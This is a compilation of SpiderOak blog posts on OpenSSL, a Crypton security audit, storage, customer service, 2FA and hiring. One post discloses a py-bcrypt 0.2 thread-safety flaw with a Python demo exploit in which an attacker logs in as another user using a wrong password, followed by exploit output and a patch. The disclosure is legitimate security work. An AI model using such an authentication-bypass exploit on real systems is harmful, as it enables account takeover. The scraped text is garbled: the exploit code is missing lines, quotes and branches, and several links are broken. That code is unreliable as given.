Conversations about life & privacy in the digital age and related SSL certificates were changed yesterday due to the OpenSSL Bug

As has been widely published, a significant vulnerability has been found in OpenSSL, the transport encryption library used by many SSL websites. SSL is the mechanism that encrypts your browser’s connection to the server, verifying the server’s identity and preventing eavesdropping. Many people know it as the padlock icon in a web browser.

Many sites across the internet including Amazon, GitHub, Heroku have likewise changed their certificates.

SpiderOak patched our OpenSSL servers within a couple hours of the announcement yesterday. The SpiderOak desktop clients ship with a version of OpenSSL that is not subject to this vulnerability. As such, SpiderOak customers do not need to take any special action.

More info about the vulnerability is at

Dear Ubuntu One Users: What SpiderOak Can Do For You

Canonical announced today that Ubuntu One is shutting down.

In addition to natively supporting Linux since day 1 in 2007 (my machines run Ubuntu, Debian, and RedHat) we also support Windows and Mac allowing you to be flexible.  Enjoy our easier pricing and Zero Knowledge Privacy Policy and keep your data safe, synced, and private!  Over 20% of our revenue at SpiderOak comes from happy Linux customers.

Other things Linux users might be tempted by:

- Scriptable Command Line Interface – great for cron jobs
- Configurable Backup and/or Sync between Arbitrary Folders
- “Keep Your Own Copy” feature and LAN Sync
- By Default: Perpetual storage of deleted items and old versions

Something we don’t have yet is Nautilus integration although it is on our roadmap.

P.S.  Psst…don’t tell the Windows/Mac folks, but if you sign up from an Ubuntu Linux machine and then email us next week at we’ll offer you a special deal.  It’s our secret!

P.P.S. I just donated $1000 to Ubuntu to support them while they focus on providing a great OS and hope you might consider the same! (link, which tells me that for that price instead I could have had an adult camel which was a difficult choice.) You can also support Debian, Arch, and other Linux distributions here.

Responsibly Bringing a new Cryptography Product to Market

Post Snowden, technologists have rushed a variety of “liberation tech” projects to market, making boastful claims about their cryptographic capabilities to ensure the privacy of their customers. These goals are noble but the results have sometimes been embarrassing.

We’re building a new crypto product ourselves: a high-level secure-by-default framework developers can use to build end-to-end cryptographic applications without writing crypto.

Here’s what we required:

  1. To be independently verifiable it must be open source
  2. Have a spec
  3. Have a threat model
  4. Have clear, well documented code
  5. Be audited by security professionals with a crypto background

In this post I’ll share how we’re going about #5. We’re committed to development in the open, including security review.

The first audit we could schedule was with 3 researchers from the Least Authority team. Among other reasons we chose them because they have deep experience building verifiable storage systems. For anyone in that market, Tahoe-LAFS is a must read.

Auditing is both expensive and hard to schedule, with leading organizations booked months in advance.  The best teams are not limited by their ability to sell their services but rather by their ability to hire and fulfill that work. Consequently there’s very little downward pressure on their rates.

To get the most from a security audit, it’s best to go in with the cleanest code possible. It’s like brushing your teeth before you visit the dentist. It’s impolite and ineffective to ask someone to puzzle over the subtleties of code you haven’t clarified [1].

We focused this first audit narrowly on a bare bones single-user (no collaboration or multi-user sharing) demo application built with the Crypton framework. Our goal was good coverage of the framework’s core fundamentals: account creation, authentication, and single-user data storage.

Unfortunately, at the time we could schedule the audit to begin, there were three issues that the Crypton team knew about but hadn’t a chance to fix or even document. The auditors independently discovered two of those three issues with a lead to the third issue (less severe) tagged [UNRESOLVED] in their report. Additionally they found three other serious issues unknown to the team. Overall, some of the best money we’ve ever spent!

Since the purpose of this post is to give clear expectations, I think it’s important to share real numbers and cleared this with Least Authority.

Zooko explained, “We gave SpiderOak a small discount on our normal price, and moreover we pushed back our other projects in order to get the work done for you first. We did these two things because we wanted to form a relationship with SpiderOak since you provide end-to-end-encrypted storage, and we wanted to support Crypton because it is end-to-end-encrypted and is fully Free and Open-Source Software.”

Our bill was $30,000, or about $5k/researcher per week.

We have a second audit with the nice folks at Leviathan Security, covering the multi-user features of Crypton, and we’ll share that report when it’s complete. In the meantime, here’s the report (rst, pdf) from the first audit by Least Authority.

Here are some of the resulting GitHub issues and pull requests to
resolve the findings. Issue B, C, D, and E.

The resolution for Issue A involves a switch to SRP based authentication. This was part of the longer term roadmap as it provides several additional benefits, but proved to be a nontrivial undertaking and that effort is still ongoing. Some attention is given to this implementation in the next audit by Leviathan Security.

Update: Zooko at Least Authority just published an article discussing their motivation for accepting the project.

Update 2: The originally published version of this post erroneously linked to a non-final draft of the report from Least Authority. That link is corrected; and the final audit report should say “Version 1, 2013-12-20″ at the top.


[1] Zooko shared a story about an experiment that was conducted by Ping Yee in 2007. The results of the experiment illustrate auditing challenges.

In short several very skilled security auditors examined a small Python program — about 100 lines of code — into which three bugs had been inserted by the authors. There was an “easy,” “medium,” and “hard” backdoor. There were three or four teams of auditors.

1. One auditor found the “easy” and the “medium” ones in about 70 minutes, and then spent the rest of the day failing to find any other bugs.

2. One team of two auditors found the “easy” bug in about five hours, and spent the rest of the day failing to find any other bugs.

3. One auditor found the “easy” bug in about four hours, and then stopped.

4. One auditor either found no bugs or else was on a team with the third auditor — the report is unclear.

See Chapter 7 of Yee’s report for these details.

I should emphasize that that I personally consider these people to be extremely skilled. One possible conclusion that could be drawn from this experience is that a skilled backdoor-writer can defeat skilled auditors. This hypothesis holds that only accidental bugs can be reliably detected by auditors, not deliberately hidden bugs.

Anyway, as far as I understand the bugs you folks left in were accidental bugs that you then deliberately didn’t-fix, rather than bugs that you intentionally made hard-to-spot.

Security Vulnerability in Py-Bcrypt 0.2

This blog post is probably only interesting to programmers. Regular SpiderOak users can safely ignore this article. (It is not related to the SpiderOak backup and sync software.)

There’s a security vulnerability with py-bcrypt.

The vulnerability allows an attacker (“Eve”) to login as any user by making a
login attempt with a bogus password, overlapping in thread execution with the
user’s own login attempt. Typically many such attempts will be needed, but one will
eventually succeed.

This is a synchronization vulnerability with concurrent use of the
encrypted static buffer in bcrypt.c. Only threaded applications should be
vulnerable. It is common to use threads for bcrypt auth since it can cause an
event driven application to block the event loop for an unacceptable time.

I went looking through the py-bcrypt code after noticing suspicious patterns of
auth failures while testing a project using bcrypt.

The vulnerability was added in bcrypt 0.2 which was href="">released in
July 2010.

This vulnerability is not present in bcrypt 0.1 because it did not release the
GIL during bcrypt operations.

Prior discovery? Sönke Schau href="">reported a
thread safety bug in this area to the Google Code project back in January 2013.
It seems from the description (i.e. Priority: Medium) that the security
implications were unclear at the time.

Below is a demo exploit, sample output from the demo, a patch to py-bcrypt to mitigate the vulnerability, and output from the demo after patching.

The maintainers published an update within an hour of my initial message (wow!) There’s now a py-bcrypt 0.3 available on Google Code and PyPI.

#!/usr/bin/env python
demo exploit for py-bcrypt 0.2

The demo below includes a server class with one user, alice,
with a bcrypted password.  The server is event driven using
Twisted with bcrypt operations deferred into a thread pool.
Eve tries to login repeatedly with a bogus password while
Alice is also trying to log in.

import time
import random
import sys
import bcrypt
from twisted.internet import reactor, defer
from twisted.python import log
from twisted.internet.threads import deferToThread

# if we instead set this bcrypt work factor to 4 (the minimum) the demo exploit
# succeeds much sooner.  12 is the default.

def salt_and_bcrypt(password):
    "return the salted and bcrypted representation of a password"
    salt = bcrypt.gensalt(BCRYPT_LOG_ROUNDS)
    return bcrypt.hashpw(password, salt)

def check_bcrypt(password, crypted):
    "return boolean, comparing a plain password to a bcrypt stored value"
    check_value = bcrypt.hashpw(password, crypted)
    return check_value == crypted 

def sleep_to_delay_thread(delay):
    "just used to add additional noise into the timing of the thread pool"
    return True

class DemoExploitableServer(object):
    Simple server class.  This could be a web server, ftp, RPC, etc.

    The same vulnerability exists if the server is available over a network.
    Here everything happens in one process for brevity.

    users = dict(alice = salt_and_bcrypt("mypassword"))

    def __init__(self, num_busywork_threads):
        self._login_attempt_count = 0
        self.exploited = False
        self.halt = False
        if num_busywork_threads:
            reactor.callLater(0, self._simulate_activity, num_busywork_threads)

    def notify_shutdown(self):
        "notify the server that the event loop is shutting down"
        self.halt = True

    def login(self, username, password):
        make a login attempt to the server.
        Return a Deferred that will be called back with the login result bool

        if self.halt:
            # just ignore forever
            deferred = defer.Deferred()
            return deferred

        self._login_attempt_count += 1

        # show some progress in the log. usually don't get that far.
        if self._login_attempt_count % 1000 == 0:
            log.msg("%d login trials" % ( self._login_attempt_count, ))

        # delayed False on nonexistent user
        if not username in self.users:
            deferred = defer.Deferred()
            reactor.callLater(5, deferred.callback, False)
            return deferred

        return deferToThread(check_bcrypt, password, self.users[username])

    def _simulate_activity(self, amount):
        "start N busy work loops (deferring work to thread pool)"
        for _ in range(amount):
            reactor.callLater(0, self._do_busy_work)

    def _do_busy_work(self):
        "defer a random blocking sleep call to a thread"
        if self.halt:
        delay = 2.0 * random.random()
        deferred = deferToThread(sleep_to_delay_thread, delay)

    def _busy_work_callback(self, _result):
        "repeat the busy work cycle"
        reactor.callLater(0, self._do_busy_work)

class UserBase(object):
    "base for Alice and Eve--users repeatedly trying to login to the server"
    def __init__(self, server):
        self._server = server

    def run(self):
        "start the login trial loop"
        reactor.callLater(0, self.try_login)

    def try_login(self):
        "make a login attempt.  The server will callback with the result"
        deferred = self._server.login(self._username, self._password)

class Alice(UserBase):
    Alice repeatedly tries to login w/ the correct password.
    It's normal that she succeeds, and noteworthy when she fails.
    _username = 'alice'
    _password = 'mypassword'
    def _login_callback(self, result):
        if not result:
            log.msg("alice login failure")

class Eve(UserBase):
    Eve repeatedly tries to login as Alice w/ a bogus password.
    The exploit is successful when Eve's login is valid.
    _username = 'alice'
    _password = 'WRONG_PASSWORD'
    def _login_callback(self, result):
        if result:
            log.msg("eve login success")
            self._server.exploited = True
            log.msg("eve login fail")

def spawn_user(server, user_class):
    create a user instance, and schedule delay calls to the event loop to start the
    instance's login trial loop
    new_user = user_class(server)

def run_exploit_demo():
    setup the demo exploitable server instance and a few user instances trying
    to login.  Manage the event loop startup/shutdown. Report results.

    Return shell exit code: 1 on exploit failure, 0 on success"
    num_alice = 5
    num_eve = 5
    server_busywork_threads = 5


    server = DemoExploitableServer(server_busywork_threads)

    for _ in range(num_alice):
        spawn_user(server, Alice)

    for _ in range(num_eve):
        spawn_user(server, Eve)

    # timeout after an hour
    def _timeout():
        log.msg("timeout reached")

    reactor.callLater(3600, _timeout)


    reactor.addSystemEventTrigger("before", "shutdown", server.notify_shutdown)

    # if we get here, Eve has logged in or we have crashed or timed out
    if server.exploited:
        print "EXPLOITED: successful login by Eve as Alice"
        return 0
        print "NO exploit"
        return 1

if __name__ == '__main__':

Here’s sample output, before and after patching.

ubuntu@dev$ /opt/py2.7.vulnerable_bcrypt/bin/python
2013-03-17 18:42:31+0000 [-] Log opened.
2013-03-17 18:42:31+0000 [-] eve login fail
2013-03-17 18:42:31+0000 [-] eve login fail
2013-03-17 18:42:31+0000 [-] eve login fail
2013-03-17 18:42:31+0000 [-] eve login fail
2013-03-17 18:42:31+0000 [-] eve login fail
2013-03-17 18:42:31+0000 [-] eve login fail
2013-03-17 18:42:31+0000 [-] eve login fail
2013-03-17 18:42:31+0000 [-] eve login fail
2013-03-17 18:42:31+0000 [-] eve login fail
2013-03-17 18:42:31+0000 [-] eve login success
2013-03-17 18:42:33+0000 [-] Main loop terminated.
2013-03-17 18:42:33+0000 [-] EXPLOITED: successful login by Eve as Alice
ubuntu@dev$ /opt/py2.7/bin/python
... [ snip ] ...
2013-03-17 19:08:17+0000 [-] eve login fail
2013-03-17 19:08:17+0000 [-] eve login fail
2013-03-17 19:08:17+0000 [-] eve login fail
2013-03-17 19:08:17+0000 [-] eve login fail
2013-03-17 19:08:17+0000 [-] eve login fail
2013-03-17 19:08:17+0000 [-] timeout reached
2013-03-17 19:08:19+0000 [-] Main loop terminated.
2013-03-17 19:08:19+0000 [-] NO exploit

I use C only very occasionally, but in case it’s helpful, here’s my attempt at a resolution patch. (Don’t use this. The patch provided by the maintainers in bcrypt-0.3 looks much more portable!)

diff -r py-bcrypt-0.2/bcrypt/bcrypt.c py-bcrypt-0.2.patched/bcrypt/bcrypt.c
< static char    encrypted[128];
> #undef threadlocal
>     #ifdef _ISOC11_SOURCE
>         #define threadlocal _Thread_local
>     #else
>         #define threadlocal __thread
>     #endif
>     /* we would rather blow up at compile time than be without thread safety.
>      * */
> static threadlocal char    encrypted[128];

The Risk to Your Encryption Keys when Using Virtual Hosting

Dan Goodin over at Ars Technica has a nice article with an example of one of the privacy risks of using virtual hosting (such as Amazon EC2 and other cloud computing services.) This particular scenario allowed attackers to recover GPG keys from other virtual machines that happened to be running on the same physical machine. It’s likely possible to recover SSH keys in a similar way.

Since a few customers have asked, SpiderOak owns and operates all of its own physical hardware. None of it is virtual hosting with other organizations.

SpiderOak’s new Amazon S3 alternative is half the cost and open source

As 37signals famously described, in the software business we almost always create valuable byproducts. To build a privacy-respecting backup and sync service that was affordable, we also had to build a world class long term archival storage system.

We had to do it. Most companies in the online backup space (including BackBlaze, Carbonite, Mozy, and SpiderOak to name a few) have made substantial investments in creating an internal system to cost effectively store data at massive scale. Those who haven’t such as Dropbox and JungleDisk are not price competitive per GB and put their efforts into competing on other factors.

Long term archival data is different than everyday data. It’s created in bulk, generally ignored for weeks or months with only small additions and accesses, and restored in bulk (and then often in a hurried panic!)

This access pattern means that a storage system for backup data ought to be designed differently than a storage system for general data. Designed for this purpose, reliable long term archival storage can be delivered at dramatically lower prices.

Unfortunately, the storage hardware industry does not offer great off-the-shelf solutions for reliable long term archival data storage. For example, if you consider NAS, SAN and RAID offerings across the spectrum of storage vendors, they are not appropriate for one or both of these reasons:

  1. Unreliable: They do not protect against whole machine failure. If you have enough data on enough RAID volumes, over time you will lose a few of them. RAID failures happen every day.
  2. Expensive: Pricy hardware and high power consumption. This is because you are paying for low-latency performance that does not matter in the archival data world.

Of course #1 is solvable by making #2 worse. This is the approach of existing general purpose redundant distributed storage systems. All offer excellent reliability and performance but require overpaying for hardware. Examples include GlusterFS, Linux DRBD, MogileFS, and more recently Riak+Luwak. All of these systems replicate data to multiple whole machines making the combined cluster tolerant of machine failure at the cost of 3x or 4x overhead. Nimbus.IO takes a different approach using parity striping instead of replication, for only 1.25x overhead.

Customers purchasing long term storage don’t typically notice or care about the difference between a transfer starting in 0.006 seconds or 0.6 seconds. That’s two orders of magnitude of latency. Customers care greatly about throughput (megabyte per second of transfer speed) but latency (how long until the first byte begins moving) is not relevant the way it is if you’re serving images on a website.

Meanwhile the added cost to support those two orders of magnitude of latency performance is huge. It impacts all three of the major cost components – bandwidth, hardware, and power consumption.

A service designed specifically for bulk, long-term, high-throughput storage is easily less than half the cost to provide.

Since launching SpiderOak in 2007, we’ve rewritten the storage backend software four times and gone through five different major hardware revisions for the nodes in our storage clusters. Nimbus.IO is a new software architecture leveraging everything we’ve learned so far.

The Nimbus.IO online service is noteworthy in that the backend hardware and software is also open source, making it possible for people to either purchase storage from Nimbus.IO similar to S3, or run storage clusters locally on site.

If you are currently using or planning to adopt cloud storage, we hope you will give Nimbus.IO some consideration. Chances are we can eliminate 2/3 of your monthly bill.

What I’ve learned from a natural expert in customer crisis management

In light of current events such as the AirBNB situation, I’ve now recognized how fortunate I am having a cofounder who truly understands how to have conversations with customers, especially in the most trying moments.

When the first customers started using version 1.0 of SpiderOak in 2007, inevitably some people ran into serious limitations with the software. In the first version of our Sync product, I recall a particular incident about SpiderOak mishandling deletions of the old Windows/MSDOC 8.3 “short file aliases” and how they expanded to long filenames that literally had a grown man in tears when it seemed like all his years of pictures were gone [1]. People are naturally very concerned about their data, and as a backup company, relieving that concern is our primary job.

Thankfully, right from the beginning Ethan intuitively understood things about these situations that I needed to learn, fast.. “It’s not about the problem. It’s about how you handle it.” Here’s what Ethan always made sure happened:

  • Greet everyone who contacts you warmly, regardless of their reason or their original tone. “First, Thank you for your email and your interest in SpiderOak. As it pertains to your XYZ….”
  • Respond as soon as possible to the customer, with or without a solution. The first response needs to communicate that we care and are working on resolving the problem.
  • Make it very clear, somehow, in the response that we actually gave individual attention to this specific customer and did not send a canned or copy-and-paste reply. This is about perception, not reality. A simple, minimal, formula for this might be, “I’m sorry to hear you’re having trouble with THEIR OWN WORDS DESCRIBING THE PROBLEM,” but of course you can do better. Find small ways to make your own thoughtfulness blatantly apparent.
  • “Customer service is about pride-swallowing.” For example, if for some reason you can’t respond promptly (it happens), don’t make an excuse and explain how other important things kept you away. Just apologize. “Sorry for the delay in sending this reply” is sufficient. It doesn’t matter how the problem happened [2].
  • Just admit it when you’re stuck. Some obscure problems maybe extraordinarily difficult or impossible to solve. At scale, all the bizarre edge cases find expression. You’re not going to be able to solve everything. Here’s the essence of what we tell a customer if we have tried hard and failed to resolve their problem: I want you to know this is one of the harder problems I’ve encountered lately. I very much appreciate your patience in working with us to try to solve it. At the moment I’m scratching my head and out of ideas. If you’d like a refund we can do that today. If you’re agreeable, I’d like to keep trying; we’ll suspend your billing until we get it figured out, and I suggest we proceed just by trying to simplify your configuration until we find a base that works…”
  • Occasionally, extraordinary circumstances warrant extraordinary response. It does not need to be a policy, but just use regular human judgement and do the right thing by the customer. I remember one time a SpiderOak customer had forgotten her password and was very emotional about the prospect of not being able to decrypt her backup data [3]. Ethan called her and sat on the phone being cool, smooth, and sympathetic while guiding her through conversational memory retrieval techniques to help her remember the password she had set. In a few minutes, all was well. No one could have handled it better.
  • Say something pleasant/encouraging/uplifting/funny at the close of almost every conversation. If you’re not this type of person naturally it might seem meaningless at first, or perhaps even be difficult to think of unique responses all day that don’t sound canned, but practice makes it easy. It’s just one last demonstration of simple thoughtfulness.

In those early days, Ethan answered all our customers himself, and continued doing so for as long as any one person could, and still answers quite a few today. Now Laura and several others have joined our customer relations team, and each has brought their own unique style. I’ve learned something new from all of them, and will of course continue learning the most from our many wonderful customers.


  1. This story eventually had a happy ending because of SpiderOak’s design choice to always fully backup files before deleting/overwriting them during a sync, so that any previous state can always be recovered.
  2. Maybe when your audience consists of engineers it matters, but I recommend setting that explanation apart from the rest of the conversation about the things you know the customer cares about. “If you happen to be interested in the engineering details …”
  3. Our ‘Zero-Knowledge’ encryption policy means that our customer data is only readable by our customers, not by us. Not the filenames, foldernames, or anything. If the password is forgotten, the data is not readable. During signup, instead of agreeing to an EULA, customers agree to a password policy that says that they understand their data is readable only with their password.

2-Factor Authentication to your SpiderOak Account

We are now offering limited support for 2-Factor Authentication into your SpiderOak account.

2-Factor Authentication provides an additional layer of security on top of password protection. In other words, if someone were to compromise your username and password, these two elements alone would not be enough to allow them to access your SpiderOak account.

As a first step, we are offering this new feature to paid users only who have phone numbers located inside either the US or Canada. Given that a high percentage of SpiderOak customers (and several SpiderOak team members) live outside North America, we will soon eliminate this restriction.

To enable 2-Factor authentication for your account, you may either login to or navigate to the SpiderOak application — > Account –> Credit Card / Billing Information section. You will then notice a new option labeled ’2-Factor Authentication’.

Once enabled, any time you login to your SpiderOak account via the web or a mobile device, you will need to provide your current username, password, AND a ‘token’. The ‘token’ will be sent to your mobile device and should be entered directly after your password with no spaces or marks between them. For example, if your password is ‘red’ and the token reads ’1234′ then you would simply enter ‘red1234′.

Each 2-Factor Authentication token you receive is good for 12 hours and can be created here: Token Request. The text message you receive will look similar to the below:

SpiderOak Secure Login Token: 01234567
This code is good for 12 hours. If this login
code was unexpected, email

You can only request one token every twelve (12) hours. If you try to request a token more frequently than twelve hours, subsequent attempts will silently fail. If two factor authentication is enabled for your account, any login attempt that does not include a current token will also fail (similar to entering an invalid password or a non-existent username).

Please Note: This is an optional feature that has to be manually enabled by the user. If 2-Factor Authentication is not enabled, the login procedures will remain unchanged – continuing with a password-only based login.

For the first days of this trial-program, 2-Factor Authentication will only protect web based logins. Over the course of the next several days, we will be extending this feature globally and anywhere you have to authenticate to SpiderOak (e.g. activating new devices and/or reinstalling existing devices).

Finally and as a reminder – even with two factor authentication, the usual recommendation still applies, and accessing your data via the desktop client is more secure than the web and/or through mobile devices.

For those curious about how 2-Factor Authentication is implemented, we are working with the excellent Twilio telephony API to deliver the SMS messages. It costs SpiderOak $0.01 per SMS token which we believe to be more than reasonable and money well spent.

Depending on the interest and adoption, we may extend this to Android OATH tokens, Yubikeys, or other various secondary security factors. Please feel free to give feedback on what additional methods you’d like to see and/or the arrangement in general. We are obviously in the early phases now but excited to be adding this additional security layer for those security conscious folks among us.

A True Story about iPods, Audio Books, Automatic Weapons, Swat Teams and … Design of Technology

My friend Harry told me a story the other day. It’s an incredible story, but
true. Harry is convinced that his story should be told to others as a
cautionary tale, but he’s too embarrassed to tell it himself. So with the names
and some details changed to protect the embarrassed, here it is.

Harry is a skilled technician who works for a leading company. He travels a
multi-state area installing and fixing specialized hardware for large-scale
production equipment. One day awhile back, Harry was tooling down the freeway
in his company’s large cargo van listening to an audio book. It was an exciting
thriller with an intricate mystery plot. He was just to the part where the
detectives were finally closing in and the perps were executing a desperate
plan to dispose of the evidence and escape.

But in one of those Twilight Zone moments, reality and literature converged!
A patrol car flew by him with lights flashing and sirens shrieking. It got off
at the next exit, dashed over the overpass, and came back down the freeway in
his direction. Then came another – and another – followed by vans and SUVs.
What the…?? All of a sudden, Harry’s car is surrounded by law enforcement
vehicles. Now everybody has their lights and sirens on. “Pull over! Pull over!”
screams the megaphone command. Well, this shouldn’t be dull.

Shouting officers surround his car, rip open his doors, drag him out, take
him to the ground, and handcuff him. Men with automatic weapons are focusing a
lot of attention on him. “You guys must think I’m a real badass or
something…” Harry’s always been rather tactless and combative.

“Where’s the body? Where’s the body?” they keep yelling at him. Other
officers have forced entry into his van and are searching everywhere. “I found
the gurney! Where’s the body?” Harry is nonplussed. Men search him and take his
wallet, his ID, and everything else from his pockets. Somebody calls his
employer. Has the company authorized this man to drive this vehicle? Where is
the vehicle scheduled to be traveling today? On and on and on. He’s just passed
a dam and some rivers. Other officers start heading to those locations.
Everyone is highly suspicious of Harry’s identify. Where’s the real Harry? Did
this imposter dispose of him? Who is this guy really?

Finding no additional physical evidence, the officers start an
interrogation. Harry learns that dispatch received an urgent 911 call from his
phone number. The caller described how they were about to dispose of a body.
Law enforcement had pinged his phone, triangulated his moving location, and
taken him down.

“Wait a minute. What you heard must have come from my audio book! My name
really is Harry, but one of the book characters is named Harry, too.”
Dumbfounded blank stares. They rewind his iPod and, after some rummaging
around, replay that book section. (Harry would later complain that they lost
his place.)

“Learn to use key-lock, asshole!” But Harry’s work-issued phone has a safety
feature. If you hold down the 9 key, the phone will dial 911, even with
key-lock enabled. The officers confirm this for themselves. “Maybe you should
get a new phone.”

Guess all’s well that ends well, but Harry’s story is why I fear Apple may
take over the world. Not because Apple TV is wonderful, but because Apple
understands that my parents shouldn’t have to use three different remotes just
to watch TV and phones shouldn’t make 911 calls when you explicitly tell
them not to. While it’s imperative to ensure that people can easily call 911 in
an emergency, a little more thought could have been put into the solution.
Most of us still have much to learn about the design of everyday

SpiderOak is growing and looking for remote help in engineering and customer service

SpiderOak is growing and we are looking to add new members to our team.

SpiderOak is a distributed, virtual company – we all set our own work
schedule and work from home, coffee shops, or anywhere that can provide a
stable Internet connection (crucial to the job of course). We coordinate via
Wikis, Internet Relay Chat, email, telepathy, and even face-to-face when
possible. We don’t bother with time sheets or other types of wage accounting –
we’re a tight enough group that it would be obvious if someone wasn’t doing her
or his job. Our team members are located across North America and Europe.

We’ve noticed that some of the most accomplished people we know don’t
necessarily have polished or extensive resumes. As such, we don’t care about
formal education, age, gender, geographic location, resume, etc. We like smart
people who love what they do and do it really well. Period.

For support: Everyone new – in any role – begins by doing customer
support for a brief period. This is partly a hazing ritual but, more
importantly, the best way to understand our product is to help users better
understand how they can get the most out of SpiderOak. After all, working with
customers is our most important function as a company. (Even programmers
benefit from one-on-one time with the people who actually use our software.) No
programming languages or computing degrees necessary (though they’re certainly
not discouraged); it’s most important to be friendly, courteous, a good writer,
and moderately tech-savvy.

Our ultimate goal in this department is to develop a solid team where
everyone spends 40% – 50% of their time working with customers and the other
50% – 60% of their time working on creative endeavors that promote SpiderOak.
This can be in the form of marketing, videos, funny stories that can be posted
on our blog, and other such outlets. Creativity is always, always encouraged.

For engineering: We use Python, Django,, WSGI, jQuery,
PostgreSQL, nginx, and varnish, with some occasional heavy-lifting help from C and Erlang. We’re
hoping to meet someone to start helping us with web and API development. Update: Note, we’re also interested in meeting mobile developers, as described previously in our jobs section and on this blog.

If you’re interested in joining SpiderOak for any of these roles,
please send a cover letter to href="">,
replacing DDMMYYYY with the current date.

We look forward to hearing from you!

Update 1 December 2010: We are no longer accepting applications for the engineering or customer support roles. Thanks to everyone who applied, and you should have already received or will shortly receive an email response from us, regardless of the outcome.